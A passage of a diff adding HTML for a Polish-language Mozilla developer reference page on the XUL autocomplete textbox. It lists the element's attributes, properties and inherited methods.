+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest <code>true</code>, przycisk strzałki pokaże się na końcu pola tekstowego, a w momencie naciśnięcia go otworzy rozwijane menu wszystkich dostępnych rezultatów.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-focused">
+
+<dl><dt> <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut jest ustawiony na <code>true</code>, jeśli element jest aktywny (focused).
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-forcecomplete">
+
+</div>
+<div id="a-ignoreblurwhilesearching">
+
+<dl><dt> <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code> </dt><dd> Typ: <em>boolean</em> </dd><dd> Jeśli <code>true</code>, zdarzenia blur są ignorowane podczas szukania, co znaczy, że automatyczne wyskakujące okienka nie znikną. </dd> </dl>
+
+<p></p>
+</div>
+<div id="a-inputtooltiptext">
+
+<dl><dt> <code id="a-inputtooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inputtooltiptext">inputtooltiptext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst podpowiedzi dla pudełka tekstu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-maxlength">
+
+<dl>
+ <dt>
+ <code id="a-maxlength"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxlength">maxlength</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków, które można wpisać w pole tekstowe.</dd>
+</dl>
+</div>
+<div id="a-maxrows">
+
+<dl>
+ <dt>
+ <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do pokazania na liście rezultatów w czasie. Pasek przewijania będzie wyświetlony więc użytkownik może przewijać poprzez <b>remaining items.</b></dd>
+</dl>
+</div>
+<div id="a-minresultsforpopup">
+
+<dl>
+ <dt>
+ <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Minimalna liczba wyniku, która musi być zwrócona dla wyświetlonego okienka pop-up.</dd>
+</dl>
+</div>
+<div id="a-nomatch">
+
+<dl>
+ <dt>
+ <code id="a-nomatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/nomatch">nomatch</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut będzie ustawiony na <code>true</code>, jeśli ostatni rezultat szukania nie jest dopasowany.</dd>
+</dl>
+</div>
+<div id="a-onchange">
+
+<dl><dt> <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniana.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-oninput">
+
+<dl><dt> <code id="a-oninput"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oninput">oninput</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> To zdarzenie jest wysyłane, kiedy użytkownik wpisuje tekst w <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code>. To zdarzenie jest tylko wywoływane, kiedy wyświetlany tekst zostanie zmieniony, tak więc nie jest wykonywany kiedy użytkownik naciśnie nie możliwy do wyświetlenia klawisz. </dd></dl>
+
+
+</div>
+<div id="a-onsearchcomplete">
+
+<dl><dt> <code id="a-onsearchcomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onsearchcomplete">onsearchcomplete</a></code>
+</dt><dd> Typ: <i>Kod skryptu</i>
+</dd><dd> Ten uchwyt zdarzenia jest wywołany, kiedy zakończone zostało automatyczne wyszukiwanie, a wyniki są dostępne.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-ontextentered">
+
+<dl>
+ <dt>
+ <code id="a-ontextentered"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextentered">ontextentered</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywoływany, kiedy wynik jest zaznaczony dla pola tekstowego.</dd>
+</dl>
+</div>
+<div id="a-ontextreverted">
+
+<dl>
+ <dt>
+ <code id="a-ontextreverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ontextreverted">ontextreverted</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Ten uchwyt zdarzenia jest wywołany, gdy użytkownik naciśnie Escape aby przywrócić pole tekstowe do jego oryginalnej niekompletnej wartości.</dd>
+</dl>
+</div>
+<div id="a-open">
+
+<dl><dt> <code id="a-open"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o <code id="a-type"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div>
+<div id="a-showcommentcolumn">
+
+<dl>
+ <dt>
+ <code id="a-showCommentColumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showCommentColumn">showCommentColumn</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, kolumna komentarza pojawi się w okienku wyskakującym. Dla historii adresów URL, kolumnę komentarzy będzie stanowić tytuł strony połączony z każdym adresem URL. Jeśli ten atrybut nie jest określony, kolumna komentarza nie pojawi się.</dd>
+</dl>
+</div>
+<div id="a-size">
+
+<dl>
+ <dt>
+ <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba znaków, które mogą zostać wyświetlone w polu tekstowym.</dd>
+</dl>
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-tabscrolling">
+
+</div>
+<div id="a-timeout">
+
+</div>
+<div id="a-textbox.type">
+
+
+<dl>
+ <dt><a href="pl/XUL/Atrybut/textbox.type">type</a></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Możemy ustawić typ tego atrybutu na jedną z poniższych wartości dla bardziej specjalistycznych typów pola tekstowego. Nie ustawiaj tego typu, jeśli chcesz zastosować regularne pole tekstowe.</dd>
+</dl>
+
+<ul>
+ <li><code>autocomplete</code>: Pole tekstowe, które obsługuje auto uzupełnianie. Aby zdobyć więcej informacji na temat autouzupełniania pól tekstowych, przejdź do dokumentacji o autouzupełnianiu (<a href="pl/XUL/textbox_(Mozilla_-_automatyczne_uzupe%c5%82nianie)">Mozilla</a>) (<a href="pl/XUL/textbox_(Firefox_-_automatyczne_uzupe%c5%82nianie)">Firefox</a>)</li>
+ <li><code>number</code>: A textbox that only allows the user to enter numbers. In addition, arrow buttons appear next to the textbox to let the user step through values. There are several attributes that allow the number textbox to be configured, including <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>, <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>, <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>, <code id="a-wraparound"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wraparound">wraparound</a></code>, and <code id="a-hidespinbuttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidespinbuttons">hidespinbuttons</a></code>. </li>
+ <li><code>password</code>: Pole tekstowe, które ukrywa wpisywaną treść, stosowane dla wpisywania haseł w pole tekstowe.</li>
+ <li><code>timed</code>: This textbox will fire a command event after the user types characters and a certain time has passed. The delay is set with the <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code> attribute. You might use this type, for instance, to update information elsewhere in the window as the user types, without the need for continuous updates since the timer will not fire if the user types more keys in the meantime. The command event will also fire if the user presses the Enter key.</li>
+</ul>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-completeDefaultIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/completeDefaultIndex">completeDefaultIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-completedefaultindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/completedefaultindex">completedefaultindex</a></code>.</dd>
+</dl></div>
+<div id="p-controller">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/controller">controller</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAutoCompleteController">nsIAutoCompleteController</a></i>
+ </dd>
+ <dd>
+ Zwraca kontener dla automatycznego uzupełnienia elementu.</dd>
+</dl></div>
+<div id="p-crop">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl></div>
+<div id="p-disableAutoComplete">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableAutoComplete">disableAutoComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disableautocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautocomplete">disableautocomplete</a></code>.</dd>
+</dl></div>
+<div id="p-disableKeyNavigation">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disableKeyNavigation">disableKeyNavigation</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia wartość atrybutu <code id="a-disableKeyNavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableKeyNavigation">disableKeyNavigation</a></code>.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-editable">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/editable">editable</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pola automatycznie uzupełniane są edytowalne, więc ta własność zwróci <code>true</code>.</dd>
+</dl></div>
+<div id="p-focused">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/focused">focused</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-forceComplete">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/forceComplete">forceComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-forcecomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/forcecomplete">forcecomplete</a></code>.</dd>
+</dl></div>
+<div id="p-ignoreBlurWhileSearching">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code>.
+</dd></dl>
+
+</div>
+<div id="p-inputField">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/inputField">inputField</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
+ W Mozilli, pole tekstowe w języku XUL jest zaimplementowane jako otoczenie wokół elementów kontrolek formularza (input) języka HTML. Ta własność tylko do odczytu podtrzymuje odniesienie do wewnętrznego elementu input.</dd>
+</dl></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-maxLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/maxLength">maxLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków w polu tekstowym, jaką można wpisać.</dd>
+</dl></div>
+<div id="p-maxRows">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/maxRows">maxRows</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code>.</dd>
+</dl></div>
+<div id="p-minResultsForPopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/minResultsForPopup">minResultsForPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code>.</dd>
+</dl></div>
+<div id="p-open">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl></div>
+<div id="p-popup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/popup">popup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu wyskakującego</i>
+ </dd>
+ <dd>
+ Powinna być ustawiona wartość <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, który powinien zostać podświetlony, kiedy użytkownik kliknie w pole tekstowe.</dd>
+</dl></div>
+<div id="p-popupOpen">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/popupOpen">popupOpen</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Wskazuje gdzie jest otwierane (lub nieotwierane) okienko popup. Ustaw tą własność do otwarcia lub zamknięcia popup.
+</dd></dl>
+
+</div>
+<div id="p-searchCount">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/searchCount">searchCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca liczbę użytych komponentów. Ta własność jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-searchParam">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/searchParam">searchParam</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autocompletesearchparam"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearchparam">autocompletesearchparam</a></code>.</dd>
+</dl></div>
+<div id="p-selectionEnd">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia koniec zaznaczonej części pola tekstu. Stosujemy ze sprzężeniem z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>. Wartość określa indeks znaku za zaznaczeniem. Jeśli ta wartość jest równa sumie wartości własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>, to żaden tekst nie jest zaznaczony, lecz wartość sygnalizuje pozycję wstawki (kursora) wewnątrz pola tekstowego.</dd>
+</dl></div>
+<div id="p-selectionStart">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia początek zaznaczonej części pola tekstu. Stosujemy w sprzężeniu z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code>. Wartość określa indeks pierwszego zaznaczonego znaku.</dd>
+</dl></div>
+<div id="p-showCommentColumn">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/showCommentColumn">showCommentColumn</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-showcommentcolumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showcommentcolumn">showcommentcolumn</a></code>.</dd>
+</dl></div>
+<div id="p-size">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/size">size</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-tabScrolling">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabScrolling">tabScrolling</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabscrolling"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabscrolling">tabscrolling</a></code>.</dd>
+</dl></div>
+<div id="p-textLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/textLength">textLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje długość wprowadzanego tekstu w polu tekstowym. Ta własność jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-textValue">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/textValue">textValue</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca treść pola tekstowego. Odpowiednikiem jest własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code>.</dd>
+</dl></div>
+<div id="p-timeout">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/timeout">timeout</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code>.</dd>
+</dl></div>
+<div id="p-textbox.type">
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/textbox.type">type</a></dt>
+ <dd>
+ Typ: '</dd>
+ <dd>
+ Ustawia wartość <code>autocomplete</code>, aby mieć samo uzupełniające się pole tekstowe.</dd>
+</dl>
+
+<p> </p></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a 